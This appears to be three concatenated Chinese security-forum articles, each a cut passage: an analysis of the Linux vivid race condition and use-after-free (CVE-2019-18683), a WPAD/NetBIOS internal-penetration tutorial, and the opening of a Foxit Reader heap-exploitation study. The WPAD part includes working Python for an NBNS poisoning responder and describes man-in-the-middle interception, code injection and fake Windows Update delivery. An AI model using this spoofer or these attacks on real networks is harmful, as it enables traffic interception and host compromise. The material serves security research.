echo "add-symbol-file $videobuf2_common" `cat /proc/modules |grep '^videobuf2_common' | awk -F ' ' '{print $6}'`
echo "add-symbol-file $cec" `cat /proc/modules |grep '^cec' | awk -F ' ' '{print $6}'`
echo "add-symbol-file $mc" `cat /proc/modules |grep '^mc' | awk -F ' ' '{print $6}'
例如我的 qemu 跑起来后是这样的
然后运行gdb(pwndbg插件)，拷贝命令加载符号之后就可以正常调试了。
### poc 测试
先下载好[Alexander
Popov](https://a13xp0p0v.github.io/)提供的[poc](https://a13xp0p0v.github.io/img/v4l2-crasher.c)
poc 很简单，就开了两个线程，`open("/dev/video0")`,`read(fd, buf, 0xfffded);` 然后是`close`,
不断循环。
为了提高竞争的成功率，这里还指定了线程固定在哪个CPU上运行，比如所线程1就运行在CPU0，线程2运行在CPU1这样。
编译，然后跑一下，为了方便自己调试的时候都是使用的root权限
gcc -s --static -o exp exp.c -lpthread
得到的 crash如下:
但是我没有办法得到和[Alexander Popov](https://a13xp0p0v.github.io/)一样的crash,
根据[他的文章](https://a13xp0p0v.github.io/2020/02/15/CVE-2019-18683.html)中的描述，漏洞是因为`vivid_stop_generating_vid_cap`函数在调用`kthread_stop`之前unlock
了 `dev->mutex`
/* shutdown control thread */
vivid_grab_controls(dev, false);
- mutex_unlock(&dev->mutex);
kthread_stop(dev->kthread_vid_cap);
dev->kthread_vid_cap = NULL;
- mutex_lock(&dev->mutex);
`dev->kthread_vid_cap` 保存的是函数`vivid_thread_vid_cap`,它是一个内核线程，`kthread_stop`
之后会结束这个线程。本来是打算`vivid_stop_generating_vid_cap` unlock `dev->mutex`
之后，这个锁就可以被这个内核线程拿到，然后break出循环。但是这个锁也是可以被`vb2_fop_read` 函数拿到，于是就有了竞争。
for (;;) {
try_to_freeze();
if (kthread_should_stop())
break;
- mutex_lock(&dev->mutex);
+ if (!mutex_trylock(&dev->mutex)) {
+ schedule_timeout_uninterruptible(1);
+ continue;
+ }
...
}
补丁是把`vivid_stop_generating_vid_cap` 解锁的过程去掉了，但是`vivid_thread_vid_cap`
还是会获取锁，文章中还写了补丁的修改过程挺有趣的。在close
的时候，会调用[`vivid_fop_release`](https://elixir.bootlin.com/linux/v5.4/source/drivers/media/platform/vivid/vivid-core.c#L441)
函数，接着调用[_vb2_fop_release](https://elixir.bootlin.com/linux/v5.4/source/drivers/media/common/videobuf2/videobuf2-v4l2.c#L1034)
int _vb2_fop_release(struct file *file, struct mutex *lock)
{
struct video_device *vdev = video_devdata(file);
if (lock)
mutex_lock(lock);
if (file->private_data == vdev->queue->owner) {
vb2_queue_release(vdev->queue);
vdev->queue->owner = NULL;
}
if (lock)
mutex_unlock(lock);
return v4l2_fh_release(file);
}
这个函数也lock 了`dev->mutex` 后续会继续调用`vivid_stop_generating_vid_cap`, `vb2_fop_read`
函数也是差不多，在实际调用之前会加上锁。
总之，漏洞描述大概就是这样，我们知道这是一个竞争漏洞，最后是uaf，但是具体是怎么竞争的呢，又是哪里uaf呢，下面我们分析相关的代码。
#### 代码分析
首先我们说明一下对`vivid` open read close 时的一些关键功能。
`open` : 这个关系不大，只是打开设备而已。
##### read 调用流程
基本调用流程如下(省略一些关系不大的调用)
- vfs_read
- v4l2_read
- vb2_fop_read (lock 设备)
- vb2_read
- __vb2_perform_fileio
- __vb2_init_fileio
- vb2_core_reqbufs
- vb_queue_alloc(分配 vb2_buffer结构体)
- vb2_core_qbuf(vb2_buffer 加入 vb2_queue 队列)
- vb2_core_streamon
- vb2_start_streaming
- __enqueue_in_driver(当前要操作的vb2_buffer加入dev->vid_cap_active)
- vbi_cap_start_streaming
- vb2_core_dqbuf(vb2_queue中的 vb2_buffer出队)
首先需要注意几个结构体
`vb2_queue` 是一个队列，会保存已申请的 `vb2_buffer`信息(`vb2_queue->bufs`)
`vb2_buffer`保存要操作的视频流的一些信息，会在read开始的时候调用 `vb_queue_alloc`
来分配内存(最终分配kmalloc-1k的slub上的内存)
在做对数据流操作的时候，也就是读写buffer的时候，会首先将`vb2_buffer`加入到`vb2_queue`里面(`vb2_queue->queued_list`)，默认会分配两个，后面要操作直接从队列里面拿。
还需要提的一点是
`vb2_fop_read`会上锁，上锁的点是`dev->mutex`，实际运行的时候和`vb2_queue->lock`的值相等，[具体实现可以参考这里](https://elixir.bootlin.com/linux/v5.4/source/drivers/media/platform/vivid/vivid-core.c#L1117)
`vb2_buffer`
申请完，加入队列之后，会调用`vb2_start_streaming`来为`vb2_buffer`填充数据，它会先调用`__enqueue_in_driver`把要处理的buffer
加入到设备(`vivid_dev`)的`vid_cap_active`队列上，实际上调用的是`vid_cap_buf_queue` 函数
static void vid_cap_buf_queue(struct vb2_buffer *vb)
{
struct vb2_v4l2_buffer *vbuf = to_vb2_v4l2_buffer(vb);
struct vivid_dev *dev = vb2_get_drv_priv(vb->vb2_queue);
struct vivid_buffer *buf = container_of(vbuf, struct vivid_buffer, vb);
spin_lock(&dev->slock);
list_add_tail(&buf->list, &dev->vid_cap_active);//
spin_unlock(&dev->slock);
}
接着会调用`vid_cap_start_streaming` 函数，它会调用`vivid_start_generating_vid_cap`
函数，他会启动一个内核线程，功能实现在`vivid_thread_vid_cap` 函数上
dev->kthread_vid_cap = kthread_run(vivid_thread_vid_cap, dev,
"%s-vid-cap", dev->v4l2_dev.name);
`vivid_thread_vid_cap`
是实际做数据填充的函数，启动后会进入一个无限循环，然后会等待锁(`mutex_lock(&dev->mutex);`），拿到锁之后就会进行实际对`vb2_buffer`的处理。
注意这里是处在 `vb2_fop_read`
函数的内部，也就是锁已经lock了，`vivid_thread_vid_cap`启动之后就是一直拿不到锁的，如果什么时候锁unlock掉，它就可以lock住然后继续执行。用gdb
调试发现在`vb2_fop_read`
函数执行期间，`vivid_thread_vid_cap`是会拿到锁的，也就是说`vb2_fop_read`运行的时候有什么地方unlock掉了`dev->mutex`
但是这里就很奇怪，为什么要在锁的内部unlock掉这个锁呢，感觉这样要控制竞争会很麻烦，可能是编程上的一些原因，whatever,
我们先找出这个unlock的地方， 具体我们需要先看`vb2_core_dqbuf`
函数，它的作用就是处理`vb2_queue->queued_list`上的`vb2_buffer`，然后出队。
`vb2_core_dqbuf`的函数调用情况如下:
vb2_core_dqbuf
- __vb2_get_done_vb
- __vb2_wait_for_done_vb
- vb2_ops_wait_prepare
- vb2_ops_wait_finish
`vb2_ops_wait_prepare` 就是unlock `vb2_queue->lock` 的地方，`vb2_ops_wait_finish`
是重新加上锁。
也就是说，`vb2_core_dqbuf`解锁，然后`vivid_thread_vid_cap`
会拿到这个锁，等它对`vb2_buffer`操作完成之后unlock，`vb2_core_dqbuf`又重新获得这个锁继续运行`。
这里也是我们的漏洞点所在，本来期望的是只有`vivid_thread_vid_cap`可以拿到这个锁，但是如果另外开一个进程，调用一个`vb2_fop_read`之类的函数，那么这个锁就有可能会被其他进程拿去了，锁就有可能变得乱七八糟的，但是被拿了也不一定会有问题，我们继续看看这里为什么会有漏洞。
下面是我给内核打patch之后输出的dmsg， 我们可以看到函数的执行顺序
从上面可以知道，`vivid_thread_vid_cap`执行完之后，会再次调用
`vb2_core_qbuf`(没有去看为什么会调用)，然后函数内部判断buffer是不是已经streaming过了，是的话会调用`__enqueue_in_driver`
把这个`vb2_buffer`加入到`dev->vid_cap_active`队列里面，然后`vb2_fop_read`函数结束，继续后面 close
函数的流程。
也就是说`read` 完之后，`dev->vid_cap_active` 里面会保存一个`vb2_buffer`的地址。
我们查找`vid_cap_active`的引用点，发现它会被`vivid_thread_vid_cap`,`vid_cap_start_streaming`以及`vivid_stop_generating_vid_cap`
函数使用
`vivid_thread_vid_cap`
会把`vid_cap_active`队列的`vb2_buffer`都拿出来处理，运行完之后队列里面就没有buffer了
`vid_cap_start_streaming` 主要是判断buffer状态做一些变换之类的，buffer仍然在队列里面
`vivid_stop_generating_vid_cap` 函数会在 `close(fd)`的时候调用，会清空`vid_cap_active`
队列上的所有buffer
okay， read的时候的大概流程就是这样，接下来我们看 close 的时候做了什么操作。
**close 函数**
基本调用流程如下(省略一些关系不大的调用)
- vivid_fop_release
- vb2_fop_release
- vb2_queue_release
- vb2_core_queue_release
- __vb2_cleanup_fileio
- vb2_core_streamoff
- __vb2_queue_cancel
- vivid_stop_generating_vid_cap
- vb2_core_reqbufs
- __vb2_queue_free
close 的流程比较简单，总的来说就是先调用`vivid_stop_generating_vid_cap` unlock 掉锁, 然后调用
`kthread_stop`通知`vivid_thread_vid_cap`内核线程结束， 这里也是漏洞的触发点， unlock的时候锁可以被其他进程抢占。
mutex_unlock(&dev->mutex);
kthread_stop(dev->kthread_vid_cap);
dev->kthread_vid_cap = NULL;
mutex_lock(&dev->mutex);
`vivid_stop_generating_vid_cap` 调用完了之后会调用`__vb2_queue_free`,
它会把`vb2_queue->bufs` 上的 `vb2_buffer`都 kfree 掉，然后 close 流程结束。
同样，给内核加printk之后可以看到这样的调用过程
**竞争过程**
okay，具体的实现大概清楚了，那么是怎么样触发的 uaf 呢 ? 运行poc之后可以看到触发漏洞时的函数调用如下:
因为两个线程运行在不同的cpu上，所以很容易可以看出来调用属于哪个线程。我们把红色部分叫线程A，蓝色叫线程B。
线程A: 运行到 `vb2_core_dqbuf`， unlock 锁(本来是要`vivid_thread_vid_cap`拿到的)
线程B: `vb2_fop_read` 拿到锁，一些检查不通过函数退出，释放锁
线程A: 其`vivid_thread_vid_cap`拿到锁，buffer操作后释放锁
线程B: 进入close 流程，调用`vivid_stop_genrating_vid_cap`
清空设备的`vid_cap_active`队列，unlock 锁(期望`vivid_thread_vid_cap`拿到锁)
线程A: `vb2_core_dqbuf` 重新拿到锁，调用`__enqueue_in_driver`
把`vb2_buffer`加入设备队列(这里地址是`0xffff88800fb5f000`)， 线程A 结束 read 流程，释放锁
线程B: `vivid_stop_genrating_vid_cap` 重新拿到锁 接下来函数调用如下
线程B 接下来就和正常的 close 流程一样，kfree 掉队列里面的
`vb2_buffer`，但是注意，这个时候内存地址`0xffff88800fb5f000`的buffer还是在设备的`vid_cap_active`队列里面的，如果这个buffer下一次read可以被用到，那么就可能有uaf了。
线程B close 流程结束后进入新的一轮循环。等到再次调用 `vivid_thread_vid_cap`
的时候，前面队列中保存的已经被kfree掉的`vb2_buffer` 就会被传到`vivid_fillbuff`
后面做正常的流程，因为kfree的buffer有一些数据项不符合要求，所以后面函数执行的时候就会出问题，于是就crash了，竞争的流程大概就是这样。
## 漏洞利用
漏洞利用的话，因为这里是有一个 uaf, 可以修改
`vb2_buffer`结构体内部的信息来劫持控制流，但是因为没有地址泄露，所以劫持控制流也起不到很大的作用。
[Alexander Popov](https://a13xp0p0v.github.io/)的做法是漏洞会触发一个warnning,
也就是我们前面一张图里面的`driver bug`
那一段，具体实现在`__vb2_queue_cancel`里，输出有内存地址，可以打开`/proc/kmsg` 来获取这个地址。用
`userfaultfd`的控制`vb2_buffer`的生命周期，然后劫持控制流ROP。
但实际上，现在系统都会默认加上`kernel.dmesg_restrict = 1` 配置，kmsg
里面的地址是看不到的，vivid模块默认也是不加载的，利用就比较局限了，所以这里就不做利用的分析了, 可以看看[Alexander
Popov](https://a13xp0p0v.github.io/)的文章，里面有他的具体利用过程。
## 总结
CVE-2019-18683 是 linux v4l2
子系统的一个竞争漏洞，最终导致uaf，可以利用这个来劫持执行流，可能可以结合其他的漏洞达到权限提升的目的，但因为
vivid模块默认不会加载，利用的局限性比较大。
## reference
[https://a13xp0p0v.github.io/2020/02/15/CVE-2019-18683.html](https://a13xp0p0v.github.io/2020/02/15/CVE-2019-18683.html\() | 社区文章 |
## 0x00 前言
WPAD 这项技术已经诞生了近十年的时间，其最大的优势就在于，在一个或多个局域网中，当需要为内网中的用户设置不同的代理服务器去连接互联网或者企业内网时，利用
WPAD 就能够灵活方便的进行配置。由于配置代理服务器的方式对于用户来说是透明的，无需用户手动操作的，因此，攻击者就可以利用 WPAD 进行内网的渗透。
利用 WPAD 进行内网渗透的技术已经出现了很多年了，一直没有变得像 ARP Spoof 等攻击方式那么流行，可能是由于常规的内网渗透中，如 Windows
域的渗透，攻击者只需拿到域控的权限即可控制域中的任何机器，因此，攻击者往往只关注如何抓到域管理员的 HASH。然而即使在工作组的渗透中，也有着比 WPAD
更有效的攻击方式。但是在攻击者“无（qian）计（lv）可（ji）施（qiong）;)”的时候，也会采用一些“非主流”的方式进行内网渗透。
本文将会阐述 WPAD 协议的工作原理，实现方式以及在内网渗透中的应用思路。
PS：本文是笔者利用工作之余的零碎时间所写，难免会有纰漏，还望各位看（da）官（niu）在评论区及时指正 or PM 我。
## 0x01 WPAD 简介
**WPAD（Web Proxy Auto-Discovery Protocol）** 是 Web
代理自动发现协议的简称，该协议的功能是可以使局域网中用户的浏览器可以自动发现内网中的代理服务器，并使用已发现的代理服务器连接互联网或者企业内网。WPAD
支持所有主流的浏览器，从 IE 5.0 开始就已经支持了代理服务器自动发现/切换的功能，苹果公司考虑到 WPAD 的安全风险，在包括 OSX 10.10
及之后版本的操作系统中的 Safari 浏览器将不再支持 PAC 文件的解析。
### WPAD 工作原理
当系统开启了代理自动发现功能后，用户使用浏览器上网时，浏览器就会在当前局域网中自动查找代理服务器，如果找到了代理服务器，则会从代理服务器中下载一个名为
**PAC（Proxy Auto-Config）** 的配置文件。该文件中定义了用户在访问一个 URL
时所应该使用的代理服务器。浏览器会下载并解析该文件，并将相应的代理服务器设置到用户的浏览器中。
### PAC 文件
**PAC（Proxy Auto-Config）** 配置文件使用 **Javascript** 进行 URL 和代理服务器的描述。通常使用
**proxy.pac** 作为文件名， WPAD 的规范则使用 **wpad.dat** 作为 PAC 文件的文件名。
一个 PAC 文件至少定义了一个名为 **FindProxyForURL(url, host)** 的 **JavaScript**
函数，该函数的返回值是一个字符串，指定了 URL 的访问方式，两个参数分别代表了要指定设置的 URL 和 该 URL 所对应的主机名。
PAC 文件内容示例如下：
function FindProxyForURL(url, host) {
if (url== 'http://Her0in.org/') return 'DIRECT';
if (shExpMatch(host, "*.wooyun.org")) return "DIRECT";
if (host== 'wooyun.com') return 'SOCKS 127.1.1.1:8080';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.2.2.2:8080;DIRECT';
return 'DIRECT';
}
该文件定义了当用户访问 **<http://Her0in.org/>** 时，将不使用任何代理服务器直接（ **DIRECT** ）访问 URL。也可以使用
**shExpMatch** 函数对 host 或者 url 进行匹配设置， **SOCKS 127.1.1.1:8080** 指定了使用
**127.1.1.1:8080** 的 SOCKS 代理进行 URL 的访问， **PROXY 127.2.2.2:8080;DIRECT** 指定了使用
**127.2.2.2:8080** 的 HTTP 代理进行 URL 的访问，如果连接 **127.2.2.2:8080** 的 HTTP
代理服务器失败，则直接（ **DIRECT** ）访问 URL。
本地搭建提供 WPAD 使用的 HTTP 代理服务器时，需要监听 80 端口，因为客户端浏览器默认会从 80 端口下载 PAC 文件，同时要将 PAC
文件的 MIME 类型设置为 **application/x-ns-proxy-autoconfig** 或
**application/x-javascript-config** 。
#### PAC 文件的编码问题
FF 和 IE 只支持系统默认的编码类型 的 PAC 文件，并且不支持 Unicode 编码，如 UTF-8。
关于 PAC 文件的更多说明，可以在
[这里](http://homepage.ntlworld.com/jonathan.deboynepollard/FGA/web-browser-auto-proxy-configuration.html) 和
[这里](https://en.wikipedia.org/wiki/Proxy_auto-config)找到。
## 0x02 Windows 中的 WPAD
在 Windows 系统中，从 IE 5.0 开始就支持了 WPAD，并且 Windows 系统默认是开启了 WPAD 功能的。
可以在 IE浏览器的 **Internet 选项** — **连接** 选项卡 — **局域网设置** — **自动检测设置**
中看到，系统默认是勾选此功能的。
如下图所示：
图 1：Windows 中 IE 浏览器的 WPAD 设置
另外， Windows 系统从 IE 5.5 开始支持“自动代理结果缓存”功能，并默认开启了此功能，此功能的机制为每当客户端的浏览器连接成功 HTTP
代理服务器，都会更新 ARP 缓存，所以在客户端浏览器再次连接代理服务器也就是在再次调用 **FindProxyForURL()** 函数时，会先检查
ARP 缓存列表中，是否存在要连接的 HTTP 代理服务器地址。所以此功能的目的就是缩减系统获取分配对象的开销。
可以使用如下操作关闭此功能：
**方法 1：修改注册表**
可以使用下面的注册表项禁用“自动代理结果缓存”：
**HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet
Settings**
将 **EnableAutoproxyResultCache** （如果不存在请手动创建，类型为 REG_DWORD） 设置为 0 或者 1 。
0 = 禁用缓存；1 = 启用自动代理缓存（这是默认设置）
**方法 2：修改组策略设置**
在组策略对象编辑器中的“用户配置” — “管理模板” — “Windows 组件” — “Internet Explorer”中，启用
“禁用缓存自动代理脚本”即可。
### WinHTTP 的 WPAD 支持
在 Windows 系统中，有一个服务名为 **WinHTTP Web Proxy Auto-Discovery Service** ，其描述信息为
“WinHTTP 实现了客户端 HTTP 堆栈并向开发人员提供 Win32 API 和 COM 自动化组件以供发送 HTTP 请求和接收响应。此外，通过执行
Web 代理自动发现(WPAD)协议，WinHTTP 还提供对自动发现代理服务器配置的支持。”
PS：建议禁用，因为大多数的情况下不会用到。
## 0x03 WPAD 实现方式
WPAD 实现的方式有两种，DHCP 和 DNS，具体内容如下。
### 使用 DHCP 服务器配置 WPAD
DHCP 是 Dynamic Host Configuration Protocol 的缩写即 **动态主机配置协议**
，它是一个用于局域网的网络协议，处于 OSI 的应用层，所使用的传输协议为 UDP。DHCP 的主要功能是动态分配，当然不仅仅是 IP
地址，也包括一些其他信息，如子网掩码等，也包括本文所讲的 WPAD，这些额外的信息都是通过 DHCP 协议中的 “DHCP options” 字段传输的。
DHCP 的工作流程有 4 个步骤：
图 2：DHCP 工作流程
上图即为客户端与 DHCP 服务器进行交互的过程，其中，前两个流程主要是通过客户端发送广播包，之后 DHCP
服务器进行相应与客户端进行单播通讯。后面的两个流程即为客户端从 DHCP 服务器获取 IP 地址的过程。当客户端已经成功获取到了 IP
地址后同时该地址在客户端重新登录到网络前并未被其他主机占用，那么将不会再执行前两个流程。关于 DHCP 协议的具体内容不是本文的重点内容，不再详述。
当使用 DHCP 服务器配置 WPAD 时， DHCP 协议将会有所改变，具体的改变可以在 [RFC
2131](https://tools.ietf.org/html/rfc2131) 中看到，增加了 DHCPINFORM
消息，此消息用于客户端请求本地配置参数，所以客户端在请求 WPAD 主机时就会发送 DHCPINFORM 请求消息，之后 DHCP 服务器会应答
DHCPACK 确认消息，此消息中的 **DHCP Options** 字段里就包含 DHCP 的 **252** 选项即 WPAD 代理服务器的 PAC
文件地址。
DHCP 服务器响应的 DHCPACK 数据包对应的 DHCP 结构：
图 3： DHCPACK 消息结构
关于 **DHCP Options** 的其他定义可以查看 DHCP 的 [RFC 1531
文档](https://tools.ietf.org/html/rfc1531)
在目前的大多数内网中已经不再使用 DHCP 服务器来进行对客户端的 WPAD 的配置了，而是采用了较为简单的方式如 DNS 服务器。
### 利用 DNS 配置 WPAD
利用 DNS 配置 WPAD 的方式本质上还是利用了 Windows 系统的名称解析机制。
利用 DNS 配置 WPAD 的原理如下：
客户端主机向 DNS 服务器发起了 WPAD＋X 的查询请求。如果客户端主机是处于域环境下时，发起的 WPAD+X 的查询请求为 “
**WPAD.当前域的域名** ”。DNS 服务器对 WPAD 主机的名称进行解析返回 WPAD 主机的 IP 地址，客户端主机通过 WPAD 主机的 IP
的 80 端口下载并解析 PAC 文件。
利用 DNS 进行 WPAD 的配置，网络管理员只需要在 DNS 服务器中添加 WPAD 主机的解析记录即可。
PS：在工作组环境中，客户端主机执行 WPAD 功能时，就会遵循 Windows 系统的名称解析顺序，查询的名称均为 **“WPAD”** ，如果 OS
版本为 Vista 之后的（包括 Vista）顺序为：DNS => LLMNR => NBNS，反之则为 DNS => NBNS。
## 0x04 利用 WPAD 进行内网渗透
前面的内容已经说明了 WPAD 的工作原理,实现方式和 WPAD 在 Windows 系统中的相关内容。接下来就是本文要重点阐述的内容，如何利用 WPAD
进行内网渗透。
上面已经说明，在实际渗透中，大多数情况下遇到的内网都不再使用 DHCP 进行 WPAD 的配置，而利用 DNS 配置 WPAD 或者是内网本身没有对
WPAD 的配置进行设置的情况下，都会默认遵循 Windows 系统的名称解析顺序，因此，可以利用 Windows 系统的名称解析顺序的缺陷进行 WPAD
的“恶意”配置，从而进行内网的渗透。
关于 Windows 系统的名称解析顺序 及利用 Windows 系统的名称解析缺陷渗透的思路可以从我的下面两篇文章中找到。
[Windows 名称解析机制探究及缺陷利用](https://xianzhi.aliyun.com/forum/topic/1740/)(下文简称 文1)
[利用 LLMNR 名称解析缺陷劫持内网指定主机会话](https://xianzhi.aliyun.com/forum/topic/1679/)(下文简称
文2)
### 利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击
在我的 [利用 LLMNR 名称解析缺陷劫持内网指定主机会话](https://xianzhi.aliyun.com/forum/topic/1679/)
这篇文章中已经阐述了 如何利用 LLMNR 名称解析进行内网渗透的思路，并给出了相应的利用代码。所以本文将不再赘述 NetBIOS协议相关的内容 和
“如何利用 LLLMNR 名称解析缺陷进行基于 WPAD 的中间人攻击”。
#### NetBIOS 协议名称解析过程
一张图看明白 NetBIOS 名称解析过程：
图 4：NetBIOS 名称解析过程
#### NetBIOS 协议分析
使用 Wireshark 可以快速抓取到 NetBIOS 协议 **名称查询** 的数据包，如下图：
图 5：NetBIOS 名称查询数据包格式
NetBIOS 的协议结构与 LLMNR 的基本一致。但是与 LLMNR 还是有所不同，其中最明显的一点为 NetBIOS
协议中的主机名称是加密的，通过查阅 dpkt 库的源码，发现了其加密和解密的源码：
PS：以下代码引用自 dpkt 库。
def encode_name(name):
"""Return the NetBIOS first-level encoded name."""
l = []
for c in struct.pack('16s', name):
c = ord(c)
l.append(chr((c >> 4) + 0x41))
l.append(chr((c & 0xf) + 0x41))
return ''.join(l)
def decode_name(nbname):
"""Return the NetBIOS first-level decoded nbname."""
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return ''.join(l).split('\x00', 1)[0]
从代码中不难分析出加密的过程，至于为何 pack 的时候使用 16 请参阅 文1 中对 NetBIOS 名称的阐述。
NetBIOS 协议的内容比较多，其中有不少与我们在内网渗透中所使用的一些命令有直接的关系，更多内容可以查阅 NetBIOS 协议的[ RFC
文档](https://tools.ietf.org/html/rfc1002)
#### Python 实现 NetBIOS 协议的质询与应答
尽管目前已有相当优秀的网络协议开源库实现了 NetBIOS 的质询与应答，不过为了更好的理解 NetBIOS 协议，我们还是动手自己来构造协议数据包。根据
Wireshark 抓取的数据包（图 5）可以很快的构造并实现 NetBIOS 协议的名称查询数据包。代码如下：
#/usr/bin/env python
# -*- coding:utf-8 -*-
__doc__ = """
NBNS Query ,
by Her0in
"""
import socket, struct
class NBNS_Query:
def __init__(self,name):
self.name = name
self.populate()
def populate(self):
self.HOST = '192.168.16.255'
self.PORT = 137
self.nqs = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.QueryData = (
"\xa9\xfb" # Transaction ID
"\x01\x10" # Flags Query
"\x00\x01" # Question:1
"\x00\x00" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"\x20" # length of Name:32
"NAME" # Name
"\x00" # NameNull
"\x00\x20" # Query Type:NB
"\x00\x01") # Class
self.data = self.QueryData.replace('NAME', struct.pack("32s", self.encode_name(self.name)))
# From http://code.google.com/p/dpkt/
def encode_name(self,name):
"""Return the NetBIOS first-level encoded name."""
l = []
for c in struct.pack('16s', name):
c = ord(c)
l.append(chr((c >> 4) + 0x41))
l.append(chr((c & 0xf) + 0x41))
return ''.join(l)
def Query(self):
while 1:
print "NBNS Querying... -> %s" % self.name
self.nqs.sendto(self.data, (self.HOST, self.PORT))
self.nqs.close()
if __name__ == "__main__":
nbns = NBNS_Query("WPAD")
nbns.Query()
通过 Wireshark 抓取 NetBIOS **名称查询** 的应答数据包，同样可以快速实现名称查询的应答功能。代码如下：
#/usr/bin/env python
# -*- coding:utf-8 -*- __doc__ = """
NBNS Answer ,
by Her0in
"""
import socket, struct,binascii
class NBNS_Answer:
def __init__(self, addr):
self.IPADDR = addr
self.nas = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.init_socket()
self.populate()
def populate(self):
self.AnswerData = (
"TID" # Transaction ID
"\x85\x00" # Flags Query
"\x00\x00" # Question
"\x00\x01" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"\x20" # length of Name:32
"NAME" # Name
"\x00" # NameNull
"\x00\x20" # Query Type:NB
"\x00\x01" # Class
"\x00\x00\x00\xa5" # TTL
"\x00\x06" #
"\x00\x00" # Null
"IPADDR") # IP Address
def init_socket(self):
self.HOST = "0.0.0.0"
self.PORT = 137
self.nas.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.nas.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
def decode_name(self, nbname):
"""Return the NetBIOS first-level decoded nbname."""
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return ''.join(l).split('\x00', 1)[0]
def Answser(self):
self.nas.bind((self.HOST, self.PORT))
print "Listening..."
while 1:
data, addr = self.nas.recvfrom(1024)
tid = data[0:2]
name = data[13:45]
data = self.AnswerData.replace('TID', tid)
data = data.replace('NAME', name)
data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], self.decode_name(name))
self.nas.sendto(data, addr)
self.nas.close()
if __name__ == "__main__":
nbns = NBNS_Answer("11.22.33.44")
nbns.Answser()
### 利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击思路解析
通过上面一系列针对 WPAD 原理和 NetBIOS 协议的阐述，理解利用 NetBIOS 名称解析进行基于 WPAD
的中间人攻击的思路就不难了，不过利用思路将不会再像 文2
那样详述。因为我认为，只要理解了攻击思路，如何利用就是一个“方法论”的问题了，具体情况具体分析，各位大牛完全可以自由发挥。
利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击本质上还是利用了 Windows 系统的名称解析顺序和 NetBIOS 协议的特点。
在文章第三小节已经说过，在工作组环境中，客户端主机执行 WPAD 功能时，就会遵循 Windows 系统的名称解析顺序，查询的名称均为 **“WPAD”**
。那么，如此看来，先广播进行 “WPAD” 名称的注册，然后监听 137 端口，等待局域网其他已启用 WPAD 功能的主机启动 IE
浏览器连接网络即可将受害者主机的浏览器代理设置为攻击者指定的代理服务器，这样就可以获得受害者的浏览器的上网记录。
利用上一节中的 Demo 程序以及 Python 的 SimpleHTTPServer 功能还有一台 HTTP 或者 SOCKS
代理服务器即可快速模拟出一个简单的攻击场景。如下图：
图 6： 利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击
如上图所示，攻击者开启 NetBIOS 恶意应答程序，并监听 80 端口提供 PAC 配置文件（wpad.dat）的下载，同时开启代理服务器（这里使用的是
HTTP 代理服务器 => Burp Suite）。
受害者主机（Windows XP） 打开 IE 浏览器（已启用了 WPAD 功能）开始上网，此时浏览器就会寻找当前局域网中的代理服务器，实际上是进行了
WPAD 的名称查询，可以从图中看到攻击者的恶意应答程序做了恶意应答，同时提供 PAC 配置文件下载的 HTTP
服务器打印出了日志信息，此时受害者的浏览器已经下载了 PAC
配置文件（该文件内容为代理服务器地址信息），之后，受害者的浏览器就会使用攻击者指定的代理服务器进行上网，这一点从 Burp Suite 中就可以看到。
OK，上述内容就是整个攻击的思路和流程，在实战中，完全可以将攻击过程程序化，自动化。
## 0x05 总结
利用 NetBIOS 协议进行中间人攻击的方式其实还有很多，攻击的思路也可以很灵活的根据实际需要进行布局。在利用 WPAD
进行攻击时，实际的效果很有可能没有想象的那么好，不过一旦奏效，就可以拿到受害者主机权限。尤其是在无计可施的情况下，还是值得一试的，很多内网中，管理员都不会对这些攻击方式做防御措施，除了部分桌面安全产品，如防火墙可能会做严格的过滤拦截，大部分情况下，此类攻击方式还是很有效的，尤其是可以在做名称解析响应时，筛选受害者主机，对
HTTP 数据包进行更改插入恶意代码，进行针对性的定点打击。另外，NetBIOS 协议比起 LLMNR 有一个更佳有利于攻击的特点，NetBIOS
协议的名称解析可以对受害者访问的域名进行响应，当然，前提是 DNS 服务器没有做出成功的响应时，才会使用 NetBIOS 协议进行查询。关于这一点以及
WPAD ，都可以结合 Windows Update 所使用的更新域名进行中间人攻击，下载并执行攻击者指定的补丁文件。
关于 NetBIOS 协议的内容可以在相关的 RFC 文档中查阅，其中还有不少东西可以在内网渗透中利用到，如 OPCODE 字段的取值，BROWSER
协议等等，更多的攻击思路还有待各位看官多多“引玉”。 | 社区文章 |
**作者: 360漏洞研究院 李双
原文链接：<https://vul.360.net/archives/648>**
## 背景
Foxit Reader（旧名：Foxit PDF Reader），是一套用来阅读PDF格式文件的软件，由福建福昕软件所研发。
在 Adobe Reader 以及旧版本的 Foxit Reader 中，通常会利用 JS 的 ArrayBuffer
来布局内存并最终实现任意代码执行。然而，最新版本 Foxit Reader 中的 ArrayBuffer
已经被禁用，这导致漏洞利用的难度很大，目前还未见到网上有公开的漏洞利用方案。
这篇文章主要总结我在研究 Foxit Reader 漏洞利用的过程中积累的一些经验，从 Foxit Reader
的一套内存管理机制的角度出发，探索潜在的漏洞利用方式，为大家提供一些可能的思路。
## 内存管理
Foxit Reader 中可能存在有多套内存管理机制，其在文件解析中自己实现了一个内存池堆分配器来管理内存。
每个使用 malloc 分配的 chunk 都取自一个固定 0x1000 大小的池中。每个池都会分割成若干个指定 size 的 chunk，拥有相同的
chunk size 的池之间通过指针构成双向链表。所有的双向链表的头指针都保存在一个全局数组变量中。
+--------+
| 0x8 |--------> +--------+ +--------+
